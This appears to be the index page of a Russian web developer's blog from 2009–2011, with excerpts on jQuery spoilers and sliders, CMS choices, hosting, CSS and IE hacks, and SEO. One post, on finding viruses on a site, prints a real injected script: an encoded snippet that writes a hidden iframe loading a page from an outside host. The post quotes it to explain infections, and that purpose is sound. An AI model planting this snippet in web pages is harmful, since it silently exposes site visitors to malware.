Web

Подписаться на эту рубрику по RSS

Простой и красивый спойлер на jQuery

Сентябрь, 27th 2011

Сегодня хочу рассказать о простом и, в то же время, довольно эффектном способе отображения текста на сайте. Наверняка вы не раз встречались со спойлерами на различных ресурсах, в основном при организации вертикальных выпадающих меню или скрытия/отображения дополнительной информации. Спойлеры помогают не загромождать станицу, сделать текст более читаемым и добавляют интерактивности.

Спойлер будем делать на jQuery. Данный вариант предполагает неограниченную вложенность и кроссбраузерность.

Пример того, что должно получиться

Выдержка из Wiki:

Спо?йлер, англ. to spoil — «гадить», «отравлять», «портить».

В языках программирования HTML, Javascript и т.п. спойлером называют скрывающийся (или показывающийся) объект (текст, картинка и т.д.).

Не правда-ли, довольно не плохой эффект? К тому же позволяющий прятать не только текст, но и картинки, таблицы, да вообще практически любую html разметку.

Как видите, под спойлером прячется не простой текст, а с html разметкой. Ну что, пришло время рассказать, как вся эта красота делается.

читать полностью →

Яндекс Директ. Как начать работать с рекламой Яндекса

Сентябрь, 14th 2011

рекламная сеть Яндекса

Не так давно блог самостоятельно (самостоятельно? ну конечно пришлось принять непосредственное участие) дорос до стабильной посещаемости 300-500 человек в день. Это конечно приятно, уже появились постоянные читатели и обратная связь в виде ваших комментариев.

Идея монетизации, т.е. получение хоть какой-то прибыли от сайта интересна многим и мне в том числе. Естественно мой блог не предполагает каких-то высоких доходов, т.к. направленность его несколько иная и интересна довольно узкому кругу людей, весьма грамотных, а темы статей далеко не начального уровня пользователей. К тому же, я не занимаюсь каким-либо активным продвижением ресурса, скорее это в своем роде эксперимент, как сайт сам будет двигаться, если не вкладывать в него финансов. Таким образом, развивается проект исключительно собственными статьями.

Интернет, последнее время, наполнен унылыми сайтами, где статьи тупо копипастятся - в итоге и почитать бывает нечего. Тут пошел какой-то оффтоп, вернемся к теме.

читать полностью →

jQuery слайдшоу jqFancyTransitions

Июнь, 15th 2011

слайдшоу jqFancyTransitions

Так уж получилось, что темы последних статей посвящены исключительно WEB строительству и всему что с этим связано. Что поделать, на то он и блог, чтобы писать о том, чем занимаюсь в данный отрезок времени. И сегодня продолжу начатую тему - рассказ мой будет о замечательном jQuery плагине jqFancyTransitions. Демо можно посмотреть на сайте разработчика.

jqFancyTransitions предельно простой в установке и использовании JQuery плагин для создания эффектного слайд-шоу на вашем сайте. По заявлению разработчика, jqFancyTransitions совместим с Safari 2+, Internet Explorer 6+, Firefox 2+, Google Chrome 3+, Opera 9+, т.е. корректно работает во всех современных браузерах.

читать полностью →

Сказ о хостинге Majordomo

Июнь, 10th 2011

хостинг majordomo

Опыт общения с хостерами у меня относительно скромный, на данный момент было лично опробовано лишь четыре российские площадки - 1Gb, St-Hosting (ныне покойный), Majordomo и TimeWeb (рассматриваю исключительно платный хостинг). Но и этого опыта достаточно, чтобы составить личное мение о качестве предоставляемых услуг.

Сам неплохо знаком с работой хостеров изнутри - некоторое время назад, удаленно работал в техподдержке одного зарубежного хостера, без малого полгода. Правда тот хостер специализировался исключительно на выделенных серверах (dedicate server), наверное отсюда и качество предоставляемой услуги, за репутацию боролись.

Угораздило меня завести один проект на Majordomo, за год использования которого пришлось сменить два тарифных плана (всё время с удорожанием), но каких-то существенных изменений в лучшую сторону это не принесло. На сайте самого Majordomo вы найдете исключительно хвалебные отзывы о нем любимом, но всё далеко не так радужно, как они хотят представить.

читать полностью →

VertrigoServ - локальная площадка для разработки сайтов

Июнь, 09th 2011

[ VertrigoServ ]

Freeware web environment

Любому WEB-разработчику необходимо где-то отлаживать свои творения, тестировать новые движки для сайтов и проводить эксперименты. Тут никак не обойтись без локального web сервера.

панель управления Vertrigo Server

Уже довольно длительное время, в качестве испытательного полигона на windows использую Vertrigo Server.

Изначально, когда только делал первые шаги в сайтосроительстве, в качестве локального сервера устанавливал ДЕНВЕР, но даже в те времена он мне не очень нравился. Объяснения этой не любви так и не нашел до сих пор. После него был STP Server, с гораздо более удобной админкой, чем в упомянутом ДЕНВЕРе, но в какой-то момент он решил заглючить, а свободного времени разобраться что там приключилось не было. В результате на десктопе поселился VertrigoServ.

Vertrigo Server довольно профессиональный и простой в установке и использовании пакет. Есть все необходимое для разработчика - Apache, PHP, MySQL и SQLite, SQLiteManager, PhpMyAdmin, а также Zend Optimizer. Всё это добро замечательно настраивается из панели управления, предоставляющей быстрый доступ к папкам и сервисам. Вызывается эта панель в трее Windows.

Разработчиков на Perl наверное огорчу - тут нет и не предвидится поддержка данного языка, впрочем мне он не пригождался при создании сайтов.

читать полностью →

Template CMS - легкая и шустрая CMS для сайта-визитки

Июнь, 07th 2011

Template CMS

В одной из предыдущих статей я рассказывал о CMS для сайта-визитки, не использующей баз данных - Kandidat CMS. На базе этой CMS был успешно построен не один сайт, действительно достойный и простой вариант для не больших сайтов.

На днях попросили поработать над старым проектом - сайту уже больше года и, как таковой, CMS там не было. Сайт прекрасно работал на файлах, менять что-то самостоятельно заказчик не планировал, а мне было проще вносить изменения непосредственно правкой файлов по FTP. Однако, решение развивать проект, привело к необходимости обзаводиться CMS для удобства и структурировать контент. Согласитесь, что сомнительное удовольствие править более двух десятков страничек по FTP, учитывая факт, что их будет только больше.

Первым делом решил снова использовать, уже упомянутую Kandidat CMS, но проект как-то вяло развивается в последнее время, да и самому хотелось чего-то новенького. Альтернатива была найдена - Template CMS (http://template-cms.ru/) размером чуть более 220 kB! Буквально с первого захода в админку CMS меня порадовала.

читать полностью →

Обновление MaxSite CMS и проблема с jQuery

Июнь, 06th 2011

Решил наконец-то обновить движок блога на MaxSite CMS до версии 0.51 (последняя на данный момент). В принципе, меня вполне устраивала и довольно старенькая версия - 0.41, но вот появилось свободное время и руки нужно было чем-то занять.

Само обновление прошло гладко - заменил движок, как описывалось в инструкции, предварительно правда сделал полную резервную копию, на случай если что-то пойдет не так.

Блог успешно запустился на обновленном движке и с виду всё вроде-бы осталось как и было... при более внимательном рассмотрении, оказалось, что в разделе портфолио не работает карусель jQuery, да и ещё на отдельных страничках слезли украшательства jQuery.

Всё дело в том, что в новой версии MaxSite CMS используется библиотека jQuery 1.6, а она не совместима с прежней, которая использовалась jquery-1.4.2. Для быстрого решения было решено вернуть предыдущую библиотеку.

Переходим к файлу: /application/maxsite/common/common.php

В нем находим необходимую строку, содержащую путь к библиотеке jQuery и исправляем имя файла на старую версию. В моем случае jquery-1.4.2.min.js.

Как сделать качественный сайт и заставить его работать?

Май, 04th 2011

как сделать качественный сайт

Сейчас многие задумываются о собственном сайте или канале на Ютубе. Около года назад я удалил у себя в блоге информацию о создании сайтов под заказ, так как сейчас мне интереснее заниматься собственным проектом, хотя доход тут гораздо ниже, но всех денег не заработать... Впрочем, по старой памяти, ко мне периодически обращаются с просьбой разработать сайт или посоветовать с чего начать. Вот и решил сегодня озвучить основные вопросы при создании сайта, без ясного ответа на которые не стоит и начинать.

читать полностью →

Скругление углов CSS3

Февраль, 08th 2011

Сегодня хочу рассказать о таком свойстве CSS3, как border-radius, позволяющее создать закругленную границу вокруг прямоугольного блока.

Backgrounds and Borders module на данный момент всё ещё остается черновым документом W3C, поэтому при именовании свойства border-radius браузеры используют вендорные префиксы:

  • -moz- используется в браузерах на основе движка Gecko (Firefox и SeaMonkey)
  • -webkit- в браузерах на основе одноименного движка (Safari и Chrome)

Браузер Opera обходится без вендорного префикса, ну а IE, оправдывая своё народное название "осла", вовсе не поддерживает данного свойства.

Скругление углов средствами CSS3. В данном примере не используется JS или картинки.

читать полностью →

Лучшие слайдеры (слайдшоу) на jQuery

Январь, 23rd 2011

Современный сайт без фреймворков jQuery или MooTools уже сложно представить. В новом проекте сайта-визитки для одной строительной компании решил использовать слайдер на jQuery.

Писать слайдер самостоятельно для бюджетного сайта удовольствие сомнительное, сродни изобретению велосипеда, тем более в сети есть множество готовых свободных решений данной задачи, причем сделанных профессионально и очень качественно. Цель статьи - написать о наиболее понравившихся слайдерах, написанных на jQuery. На мой взгляд, по настоящему достойных плагинов оказалось не много. Основные требования, кроме естественно красоты, малый размер, скорость работы и совместимость с наиболее популярными браузерами, включая IE6.

Описания установки можно найти на официальных сайтах плагинов, если возникнут затруднения, то в одной из следующих статей постараюсь рассказать на примере как и что нужно делать. Итак, знакомьтесь:

s3Slider jQuery plugin

| демо

s3Slider jQuery plugin

Плагин подходит для создания небольших слайдшоу с комментариями, причем легко интегрируется в проект. Выглядит довольно симпатично, хоть и используется единственный эффект смены изображений. Впрочем, лучше один раз увидеть что можно получить, так что смотрите демо.

читать полностью →

Отменили региональный домен nnov.ru

Декабрь, 25th 2010

домен nnov.ru

Так сложилось, что преддверие нового года для меня в этот раз не несет положительных новостей. Началось всё с того, что хостинг, на котором был расположен данный сайт в скором времени прикажет долго жить. Новые аккаунты не принимаются к регистрации, а оплату за продление существующего хостинга теперь принимают не более чем на месяц вперед.

В связи с таким повором пришлось срочно переводить сайты свох клиентов, да и пару собственных проектов на другой хостинг.

И тут меня ждал второй "сюрприз", гораздо неприятнее предыдущего. Требовалось внести изменения в NS-сервера для моего доменного имени mdex.nnov.ru. Сообщение на главной странице регистратора меня сильно озадачило:

В связи с отменой специального типа доменов GEOGRAFICAL, регистрация новых объектов приостановлена.

читать полностью →

Как найти вирус на сайте

Декабрь, 25th 2010

Вирусный код с сайта:

<script language=JavaScript>
jhtm='%3Ciframe%20src%3D%22http%3A//inanalitics.in/inc/top/iframe.php%22
%20width%3D1%20height%3D1%20style%3D%22visibility%3A%20hidden%22%3E%3C
/iframe%3E';crypo=unescape(jhtm);document.write(crypo);
</script>

Не так давно меня попросили разобраться с одним сайтом. Яндекс пометил его как распростаняющий вирусы, о чем выдавал информацию сразу после ссылки на сайт, да и антивирусы, способные фильтровать интернет-трафик, также ругаются на такие сайты.

Действительно, вирусы, написанные для сайтов, набирают популярность. Но надо понимать, что большинстве случаев, сам вирус находится на компьютере, имеющем ftp доступ к сайту. Принцип действия примерно следующий - вирус незаметно для пользователя крадёт пароли от ftp, подключается и вставляет в скрипты сайта паразитный код.

читать полностью →

Переехал с WordPress на MaxSite CMS

Декабрь, 12th 2010

WordPress с каждой новой версией становится всё больше, неповоротивее и требовательнее к ресурсам. Мысль переезда на другую CMS уже давно засела в мозгу, но её реализация откладывалась в долгий ящик по могим причинам - необходимость безболезненного и полного переноса существующей базы, нехватка свободного времени, выбор альтернативного движка и т.д.

В конечном итоге осталось 2 кандидата на звание нового движка - Textpattern и MaxSite CMS.

Честно скажу Textpattern меня больше привлекает как дизайнера, т.к. дает практически неограниченные возможности для творчества, но сильно печалит факт танцев с бубном при переносе имеющейся базы с WordPress, крайне вялое русскоязычное сообщество (если не сказать, что его почти нет), изначально сложное понимание работы движка также не вселило оптимизма.

Попрыгав недельку с Textpattern-ом, решил отложить его до лучших времен. В любом случае нужен простой и понятный инструмен в повседневной работе. И тут с лучшей стороны мне открылся MaxSite CMS. В течение недели была перенесена база и на скорую руку написан шаблон. В скором времени это исправится. Дизайн пока сыроват, и это ещё мягко сказано, но желание поскорее запустить блог на новом движке пересилило.

Хотелось бы ещё сказать, что за время переезда накопилось довольно таки много тем для предстоящих постов. Так что, полагаю, будет интересно.

Движок для сайта-визитки Kandidat CMS

Август, 20th 2010

kandidat cms

Всякий раз, работая над новым проектом, мучаюсь выбором как его лучше реализовать - использовать готовую CMS или писать свою под конкретную задачу, а может вообще обойтись php инклудами. Всегда хочется чего-то легкого, шустрого, бесплатного и простого в управлении.

Сколько всяких CMS пришлось опробовать, прежде чем нашел удовлетворяющую меня... Основные требования к кандидатам были такими:

  • CMS должна быть бесплатной и легкой
  • Обязательное наличие Wisiwig редактора для редактирования страниц (заказчики в основном вообще не имеют представления о HTML, а уж тем более CSS и тому подобном)
  • Генерация ЧПУ для страниц сайта
  • Простая загрузка изображений, файлов на сайт с последующей вставкой в материал
  • Встроенная галерея или возможность без труда её установить, желательно в litebox эффектами
  • Легкая адаптация шаблонов под CMS
читать полностью →

хаки для IE

Апрель, 21st 2010

Как же надоел этот глючный IE - говорю как web-разработчик, постоянно сталкивающийся с кривизной данного браузера. Более того, один и тот же код не одинаково воспринимается версиями 6, 7 и 8 осла. Из-за этого приходится заново верстать некоторые элементы страниц постоянно искать обходные пути. Но нельзя его со счетов сбрасывать, т.к. основная масса пользователей упорно сидит на IE - откуда такая любовь к этому убожеству не ясно...

Делать нечего - будем бороться с его некорректной работой. Описываемы тут методы - это конечно не правильно с точки зрения валидности CSS кода, но иногда без этих методов просто не обойтись. Итак, рассмотрим как написать свойства css, работающие только в IE (хаки для ie6 и ie7).

Решение проблемы

К счастью, можно написать отдельные стили, которые будут работать только в IE. Причем я предлагаю вариант как для шестой, так и для седьмой версий. Например, если поставить перед свойством две наклонные черты( // ), оно будет восприниматься лишь браузером интернет эксплорер всех версий. Другие браузеры такое свойство проигнорируют.

читать полностью →

Популярные движки для форумов

Декабрь, 23rd 2009

И так, решил я тут создать форум автомобильной тематики, в результате чего последние две недели прошли в сравнении возможностей, удобства использования и администрирования разнообразных движков. Конкретного сравнения форумных движков в сети к сожалению не нашел, а ведь их сейчас такое количество, что определиться очень не просто!!! Вот и решил, что лучше попробовать самому наиболее популярные из них и то, что понравится использовать. Не последнюю роль в выборе имела лицензия, по которой распространяется код движка форума.

По идеологическим соображениям отмел коммерческие, среди которых наиболее известны и популярны IPB (Invision Power Board) и vBulletin. Так что про них здесь ничего сказать не смогу – не использовал, хотя с пользовательской точки зрения, говорят очень и очень не плохие. Так что, если есть деньги и не жалко их потратить на форум – думаю, к ним стоит присмотреться.

Я не ставил себе целью провести тотальное сравнение функций движков, поэтому дам лишь небольшое описание каждому из движков, основываясь на собственном опыте. Представляю претендентов на роль движка для форума (где-то на заднем планы в этот момент должны звучать фанфары): miniBB, phpBB 2, phpBB 3, punBB, SMF и Vanilla.

читать полностью →

Делаем темы WordPress виджет-совместимыми

Декабрь, 07th 2009

В WordPress есть одна отличная штука под названием "виджеты". Прелесть их в том, что они позволяют легко управлять информационными блоками на вашем сайте, находящимися в сайдбаре. Но вот беда, что встречаются очень красивые темы, распространяемые по GPL, не поддерживающие этой замечательной функции.

Как оказалось, всё не так страшно и для решения данной проблемы нет необходимости писать горы кода, что особенно актуально для начинающих php разработчиков и уж тем более рядовых блоггеров. Вполне достаточно создать файл functions.php и прописать в него несколько строк.

Итак, рассмотрим подробнее как можно добавить поддержку виджетов в шаблон вашей темы. Для этого нам понадобится поправить файл sidebar.php. В текстовом редакторе открываем sidebar.php, где видим примерно следующий код:

<div id="sidebar">
<h2>Рубрики</h2>
<ul>
<?php wp_list_cats('sort_column=name&optioncount=1&hierarchical=0'); ?>
</ul>
</ul>
<h2>Архив</h2>
<ul>
<?php wp_get_archives('type=monthly'); ?>
</ul>
<ul>
<?php get_links_list(); ?>
</div>

читать полностью →

О чем писать в блоге, когда писать не о чем...

Ноябрь, 30th 2009

О чем писать в блоге, когда писать не о чем

И снова здравствуйте. У блога уже появились постоянные читатели, что конечно меня радует. Вот только с темами статей бывает не всё гладко... так откуда берутся темы?

читать полностью →

Трудный путь в SEO: кое что о поисковой оптимизации сайта

Ноябрь, 16th 2009

С каждым днем поисковая оптимизация сайта становится делом все более и более не простым. Ещё пару лет назад, по среднечастотным запросам сайт выводился в топ сравнительно легко за 1–2 месяца. Быстрый старт любому проекту давала банальная регистрация в каталогах. А уж про то, что ТИЦ и PR нарастить, как то и говорить особо не приходилось. Дальнейшее развитие напрямую зависело лишь от фантазии оптимизатора, т.к. методов была куча, и практически все они давали положительный результат. Сайты с нулевым ТИЦ встречались крайне редко.

читать полностью →

Полезные плагины для Firefox

Ноябрь, 05th 2009

Сколько себя помню, всегда пользовался и пользуюсь браузером Opera. Хотя, в последнее время, больше стал нравиться Firefox. Самое главное преимущества браузера Mozilla Firefox перед конкурентами - это возможность расширения функционала плагинами, которых насчитывается просто огромное количество - вот тогда и оцениваешь всю мощь этого браузера. Сегодня коротко опишу те плагины, которые облегчают мою работу и серфинг в интернете.

читать полностью →